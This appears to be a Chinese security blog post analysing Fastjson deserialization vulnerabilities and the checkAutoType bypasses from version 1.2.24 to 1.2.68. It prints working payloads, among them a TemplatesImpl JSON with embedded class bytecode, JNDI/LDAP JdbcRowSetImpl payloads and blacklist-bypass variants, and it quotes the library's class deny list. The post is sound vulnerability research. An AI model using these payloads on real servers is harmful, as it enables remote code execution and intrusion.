Loading

Fastjsonfan反序列化(1)

前言

之前只是对FastJson漏洞有简单的一个认知,虽然由于网上fastjson漏洞调试的文章很多,但是真正有着自己的理解并能清楚的讲述出来的文章少之又少。大多文章都是对已知的漏洞调用流程做了大量分析,但是技术细节究竟是怎么实现的?实现的有什么问题?安全上能带来什么?

“这是最好的时代,也是最坏的时代。”

在《双城记》中,狄更斯曾如是说道

如今,我们也处于一个最好的时代和一个最坏的时代,一个信息爆炸的时代。我们每天接收的信息量顶的上古代人的好几辈子。只要一打开电子设备,铺天盖地的信息都透过屏幕,一并映入眼帘,充斥于耳,无论好的,还是坏的。

做安全,就应该静下心来看实现,搞研究。学的越多,才发现自己不会的越多,加油吧。

简介

fastjson介绍

fastjson在GitHub上有着24.9K+的star,是一个深受Java开发者欢迎的开源JSON解析器,它可以解析JSON格式的字符串,支持将Java Bean转为JSON字符串,也可以从JSON字符串反序列化到JavaBean,或是将字符串解析为JSON对象.

在[廖大2017年的一篇博文中](http://xxlegend.com/2017/12/06/基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析/)就对Fastjson的反序列化流程进行了总结:

image-20221128145333377

上图则是Fastjson反序列框架图。

其中JSON类为门面类,提供三个静态方法供编程人员使用:

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class

深入Fastjson框架,可以看到其主要的功能都是在DefaultJSONParser类中实现的,在这个类中会应用其他的一些外部类来完成后续操作。ParserConfig主要是进行配置信息的初始化,JSONLexer主要是对json字符串进行处理并分析,反序列化在JavaBeanDeserializer中处理

反序列化

可以看到这里有三种解析JSON字符串的方式,我们使用一个例子来看看,三种解析方式有什么区别:首先构造一个Evil类:

package org.example;
import com.alibaba.fastjson.JSON;

public class Evil {
    private String cmd;

    public Evil() {
        System.out.println("Evil()" + this.hashCode());
    }

    public String getCmd() {
        System.out.println("getCmd()" + this.hashCode());
        return cmd;
    }

    public void setCmd(String cmd) {
        System.out.println("setCmd" + this.hashCode());
        this.cmd = cmd;
    }
}

接下来使用三种解析方式:

package org.example;

import com.alibaba.fastjson.JSON;

public class FastJsonTest {
    public static void main(String[] args) {
        String jsonstr ="{\"@type\":\"org.example.Evil\",\"cmd\":\"calc\"}";
        JSON.parse(jsonstr);
        System.out.println("---------------");
        JSON.parseObject(jsonstr,Evil.class);
        System.out.println("---------------");
        JSON.parseObject(jsonstr);

    }
}

image-20221128175030761

使用JSON.parse(jsonstr);与JSON.parseObject(jsonstr, Evil.class);两种方式执行后调用结果相同。

经过调试发现程序最终都会调用位于com/alibaba/fastjson/util/JavaBeanInfo.java中的JavaBeanInfo.build()方法来获取并保存目标Java类中的成员变量以及其对应的settergetter

image-20221128182812414

需要满足以下条件

  1. 方法名长度大于等于4
  2. 非静态方法
  3. 以get开头且第4个字母为大写
  4. 方法无传入参数
  5. 返回值类型继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong

所以使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。

而第三种JSON.parseObject(jsonString) 会调用gettersetter

TemplatesImpl利用链

针对于上文的分析可以发现,无论使用哪种方式处理JSON字符串,都会有机会调用目标类中符合要求的Getter方法如果一个类中的Getter方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。TemplatesImpl类恰好满足这个要求

TemplatesImpl之前也说过:Java安全之动态加载字节码

TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化,我们来看一下漏洞触发点。

首先我们注意到该类中存在一个成员属性 _class,是一个 Class 类型的数组,数组里下标为_transletIndex 的类会在 getTransletInstance() 方法中使用 newInstance() 实例化。

image-20221128184901672

而类中的 getOutputProperties() 方法调用 newTransformer() 方法,而 newTransformer() 又调用了 getTransletInstance() 方法

image-20221128184950351

image-20221128185025404

getOutputProperties() 方法就是类成员变量 _outputProperties 的 getter 方法

image-20221128185052766

这就给了我们调用链,那 _class 中的类是否可控呢?看一下调用,发现在 readObject、构造方法以及 defineTransletClasses() 中有赋值的动作

其中 defineTransletClasses()getTransletInstance() 中,如果 _class 不为空即会被调用,看一下 defineTransletClasses() 的逻辑

image-20221128194624661

首先要求 _bytecodes 不为空,接着就会调用自定义的 ClassLoader 去加载 _bytecodes 中的 byte[] 。而 _bytecodes 也是该类的成员属性。

而如果这个类的父类为 ABSTRACT_TRANSLET 也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,就会将类成员属性的,_transletIndex 设置为当前循环中的标记位,而如果是第一次调用,就是_class[0]。如果父类不是这个类,将会抛出异常。

那这样一条完整的漏洞调用链就呈现出来了:

  • 构造一个 TemplatesImpl 类的反序列化字符串,其中 _bytecodes 是我们构造的恶意类的类字节码,这个类的父类是 AbstractTranslet,最终这个类会被加载并使用 newInstance() 实例化。
  • 在反序列化过程中,由于getter方法 getOutputProperties(),满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance().

其中,为了满足漏洞点触发之前不报异常及退出,我们还需要满足 _name 不为 null ,_tfactory 不为 null 。

因此最终的 payload 为:

{
	"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes": ["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],
	"_name": "gk0d",
	"_tfactory": {},
	"_outputProperties": {},
}

其实在在CC3种已经学习过利用方式来,这儿只是复习以下,这里利用它的话条件相对苛刻。可以说是有一点鸡肋的感觉。

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
    JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
  2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

这是因为payload需要给一些private属性赋值。由于部分需要我们更改的私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数。

JdbcRowSetImpl

通过JNDI注入来实现RCE,又需要JNDI的东西,所以不过多关注,因为这篇的重点是关注FastJson。

JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl ,这条漏洞利用链比较好理解,是 javax.naming.InitialContext#lookup() 参数可控导致的 JNDI 注入。

先看一下 setAutoCommit() 方法,在 this.conn 为空时,将会调用 this.connect() 方法。

image-20221128201332373

方法里调用了 javax.naming.InitialContext#lookup() 方法,参数从成员变量 dataSource 中获取

image-20221128201347974

这时调用链就十分清晰了,最终的 payload 为:

{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://127.0.0.1:23457/Evil",
	"autoCommit":true
}

Fastjson 1.2.24 版本的远程代码执行漏洞可谓是开辟了近几年来Fastjson漏洞的纪元。在Fastjson 1.2.24版本反序列化漏洞初次披露之后,官方针对这个漏洞进行了修补。然而这个修复方案很快就被发现存在绕过的风险。由于官方的修复方案或多或少都存在着一些问题,随之而来的是一次又一次的绕过与修复。

简单来说就是:fastjson通过parse、parseObject处理以json结构传入的类的字符串形时,会默认调用该类的setter与构造函数,并在合适的触发条件下调用该类的getter方法。当传入的类中setter、getter方法中存在利用点时,攻击者就可以通过传入可控的类的成员变量进行攻击利用。com.sun.rowset.JdbcRowSetImpl这条利用链用到的是类中setter方法的缺陷,而TemplatesImpl利用链则用到的是getter方法缺陷。

官方主要的修复方案是引入了checkAutotype安全机制,通过黑白名单机制进行防御。在随后的版本中,为了增强漏洞绕过的难度,又在checkAutotype中采用了一定的加密混淆将本来明文存储的黑名单进行加密。

1.2.25

在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

影响版本:1.2.25 <= fastjson <= 1.2.41
描述:通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。

安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。

image-20221128201715125

其中黑名单 denyList 包括:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

添加反序列化白名单有3种方法:

  1. 使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“org.example.fastjson.,org.javaweb.”)
  2. 加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.example.fastjson.
  3. 在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.example.fastjson.

看一下 checkAutoType() 的逻辑,如果开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。

image-20221128201917190

如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了Class对象时才会调用 TypeUtils.loadClass 加载

image-20221128202006913

接着跟一下 loadClass ,这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [L; 字符

image-20221128202032215

因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。因此,漏洞利用的思路就出来了:需要开启 autoType,使用以上字符来进行黑名单的绕过。

最终的 payload 其实就是在之前的 payload 类名上前后加上L;即可:

{
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
	"dataSourceName":"ldap://127.0.0.1:23457/Evil",
	"autoCommit":true
}

1.2.42

在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

影响版本:1.2.25 <= fastjson <= 1.2.42

com.alibaba.fastjson.parser.ParserConfig 这个类,作者将原本的明文黑名单转为使用了 Hash 黑名单,防止安全人员对其研究

image-20221128204450523

并且在 checkAutoType 中加入判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring进行了去除。

image-20221128204520655

因为在最后处理时是递归处理,因此只要对描述符进行双写即可绕过:

{
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
	"dataSourceName":"ldap://127.0.0.1:23457/Command8",
	"autoCommit":true
}

1.2.43

这个版本主要是修复上一个版本中双写绕过的问题。

影响版本:1.2.25 <= fastjson <= 1.2.43
描述:上有政策,下有对策。在 L; 被进行了限制后,安全研究人员将目光转向了 [

可以看到在 checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。

image-20221128204723283

这样使用 L; 绕过黑名单的思路就被阻挡了,但是在 loadClass 的过程中,还针对 [ 也进行了处理和递归,利用 [ 进行黑名单的绕过。

{
	"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
	{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
	"autoCommit":true
}

1.2.44

这个版本主要是修复上一个版本中使用 [ 绕过黑名单防护的问题。

影响版本:1.2.25 <= fastjson <= 1.2.44
描述:在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。

可以看到在 checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。

image-20221128204640285

1.2.45

在此版本爆出了一个黑名单绕过,实际上,黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,

影响版本:1.2.25 <= fastjson <= 1.2.45

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

1.2.47

在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47
描述:作者删除了一个 fastjson 的测试文件:https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66 ,里面包含了这次通杀漏洞的 payload。

这次的绕过问题还是出现在 checkAutoType() 方法中

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        // 类名非空判断
        if (typeName == null) {
            return null;
        }
        // 类名长度判断,不大于128不小于3
        if (typeName.length() >= 128 || typeName.length() < 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        String className = typeName.replace('$', '.');
        Class<?> clazz = null;

        final long BASIC = 0xcbf29ce484222325L; //;
        final long PRIME = 0x100000001b3L;  //L

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        // 类名以 [ 开头抛出异常
        if (h1 == 0xaf64164c86024f1aL) { // [
            throw new JSONException("autoType is not support. " + typeName);
        }
        // 类名以 L 开头以 ; 结尾抛出异常
        if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        final long h3 = (((((BASIC ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(1))
                * PRIME)
                ^ className.charAt(2))
                * PRIME;
        // autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项
        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                // 在对比 denyHashCodes 进行黑名单匹配
                // 如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类
                // 则抛出异常
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        // 尝试在 TypeUtils.mappings 中查找缓存的 class
        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }

        // 尝试在 deserializers 中查找这个类
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        // 如果找到了对应的 class,则会进行 return
        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

        // 如果没有开启 AutoTypeSupport ,则先匹配黑名单,在匹配白名单,与之前逻辑一致
        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }
        // 如果 class 还为空,则使用 TypeUtils.loadClass 尝试加载这个类
        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        if (clazz != null) {
            if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
                return clazz;
            }

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }

        final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport
                || (features & mask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        return clazz;
    }

这里存在一个逻辑问题:autoTypeSupport 为 true 时,fastjson 也会禁止一些黑名单的类反序列化,但是有一个判断条件:当反序列化的类在黑名单中,且 TypeUtils.mappings 中没有该类的缓存时,才会抛出异常。这里就留下了一个伏笔。就是这个逻辑导致了 1.2.32 之前的版本将会受到 autoTypeSupport 的影响。

在 autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,在这部分我们无法绕过,所以我们的关注点就在判断之前,程序有在 TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,如果找到了,则就会 return,这就避开下面 autoTypeSupport 默认为 false 时的检查。如何才能在这两步中将我们的恶意类加载进去呢?

先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一个 IdentityHashMap,能向其中赋值的函数有:

image-20221128205442516

  • getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
  • initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
  • putDeserializer():被前两个函数调用,我们无法控制入参。

因此我们无法向 deserializers 中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)

image-20221128205737256

同样的,这个方法从 TypeUtils.mappings 中取值,这是一个 ConcurrentHashMap 对象,能向其中赋值的函数有:

  • addBaseClassMappings():无入参,加载
  • loadClass():关键函数

接下来看一下 loadClass() 的代码:

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        // 非空判断
        if(className == null || className.length() == 0){
            return null;
        }
        // 防止重复添加
        Class<?> clazz = mappings.get(className);
        if(clazz != null){
            return clazz;
        }
        // 判断 className 是否以 [ 开头
        if(className.charAt(0) == '['){
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        // 判断 className 是否 L 开头 ; 结尾
        if(className.startsWith("L") && className.endsWith(";")){
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
        try{
            // 如果 classLoader 非空,cache 为 true 则使用该类加载器加载并存入 mappings 中
            if(classLoader != null){
                clazz = classLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        // 如果失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类,也需要 cache 为 true 才能写入 mappings 中
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            // skip
        }
        // 如果还是失败,则使用 Class.forName 来获取 class 对象并放入 mappings 中
        try{
            clazz = Class.forName(className);
            mappings.put(className, clazz);
            return clazz;
        } catch(Throwable e){
            // skip
        }
        return clazz;
    }

由以上代码可知,只要我们能够控制这个方法的参数,就可以往 mappings 中写入任意类名。
loadClass 一共有三个重载方法,如下图

image-20221128210152957

image-20221128210203842

image-20221128211147173

我们需要找到调用这些方法的类,并看是否能够为我们控制:

  • Class<?> loadClass(String className, ClassLoader classLoader, boolean cache):调用链均在 checkAutoType()TypeUtils 里自调用,略过。
  • Class<?> loadClass(String className):除了自调用,有一个 castToJavaBean() 方法。
  • Class<?> loadClass(String className, ClassLoader classLoader):方法调用三个参数的重载方法,并添加参数 true ,也就是会加入参数缓存中

看一下两个参数的 loadClass 方法在哪调用:

image-20221128211539658

com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class 类,成为了我们的入口。

img

如果 parser.resolveStatusTypeNameRedirect 时,进入 if 语句,会解析 “val” 中的内容放入 objVal 中,然后传入 strVal 中。

img

后面的逻辑如果 class 是 Class.class 时,将会调用 loadClass 方法,将 strVal 进行类加载并缓存:

img

这就完成了恶意类的加载,组成了我们所有的恶意调用链。但是如何在第二步进入 if 语句呢?这中间的调用链是什么样的呢?我们先构造一个 json :{"@type":"java.lang.Class","val":"aaaaa"} ,调试一下:

JSON.parseObject() 调用 DefaultJSONParser 对 JSON 进行解析。

img

DefaultJSONParser.parseObject() 调用 checkAutoType() 检查待加载类的合法性。

img

由于 deserializers 在初始化时将 Class.class 进行了加载,因此使用 findClass 可以找到,越过了后面 AutoTypeSupport 的检查。

img

DefaultJSONParser.parseObject() 设置 resolveStatus 为 TypeNameRedirect。

img

DefaultJSONParser.parseObject() 根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze() 处理。

img

解析 json 中 “val” 中的内容,并放入 objVal 中,如果不是 "val" 将会报错。

img

传递至 strVal 并使用 loadClass 加载并缓存。

此时恶意的 val 成功被我们加载到 mappings 中,再次以恶意类进行 @type 请求时即可绕过黑名单进行的阻拦,因此最终 payload 为:

{
	"gk0d": {
		"@type": "java.lang.Class",
		"val": "com.sun.rowset.JdbcRowSetImpl"
	},
	"gk0d": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "ldap://127.0.0.1:23457/Evil",
		"autoCommit": true
	}
}

1.2.68

在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

这个安全修复为 fastjson 带来了一定时间的平静,直到 1.2.68 版本出现了新的漏洞利用方式。

影响版本:fastjson <= 1.2.68
描述:利用 expectClass 绕过 checkAutoType() ,实际上也是为了绕过安全检查的思路的延伸。主要使用 ThrowableAutoCloseable 进行绕过

版本 1.2.68 本身更新了一个新的安全控制点 safeMode,如果应用程序开启了 safeMode,将在 checkAutoType() 中直接抛出异常,也就是完全禁止 autoType,不得不说,这是一个一劳永逸的修复方式

image-20221128211928102

但与此同时,这个版本报出了一个新的 autoType 开关绕过方式:利用 expectClass 绕过 checkAutoType()

checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。

img

接下来我们找一下 checkAutoType() 几个重载方法是否有可控的 expectClass 的入参方式,最终找到了以下几个类:

  • ThrowableDeserializer#deserialze()
  • JavaBeanDeserializer#deserialze()

ThrowableDeserializer#deserialze() 方法直接将 @type 后的类传入 checkAutoType() ,并且 expectClass 为 Throwable.class

img

通过 checkAutoType() 之后,将使用 createException 来创建异常类的实例。

img

这就形成了 Throwable 子类绕过 checkAutoType() 的方式。我们需要找到 Throwable 的子类,这个类的 getter/setter/static block/constructor 中含有具有威胁的代码逻辑。

Throwable 类似地,还有 AutoCloseable ,之所以使用 AutoCloseable 以及其子类可以绕过 checkAutoType() ,是因为 AutoCloseable 是属于 fastjson 内置的白名单中,其余的调用链一致,流程不再赘述。

不出网利用

BCEL

fastjson公开的就三条链,TemplatesImpl要求太苛刻了,JNDI的话需要服务器出网才行。这条链就是可以应对不出网的情况

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel摘自P牛BCEL ClassLoader去哪里了

C3P0

C3P0是JDBC的一个连接池组件

JDBC:

“JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。”

连接池:

“我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。
类似的,在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。”

C3P0:

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。 使用它的开源项目有Hibernate、Spring等。

在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fastjson和Jackson等不出网情况下打入内存马使用。在C3P0中有三种利用方式

  • http base
  • JNDI
  • HEX序列化字节加载器

小结

今天只是对FastJson反序列化漏洞原理上的一些分析,而在最后的不出网利用只是简单的提了一下,具体的实现细节再准备写一篇详细的笔记。下面推荐一些在学习中看到的好文章。

https://github.com/safe6Sec/Fastjson

https://blog.play2win.top/2021/11/25/fastjson不出网利用简析/

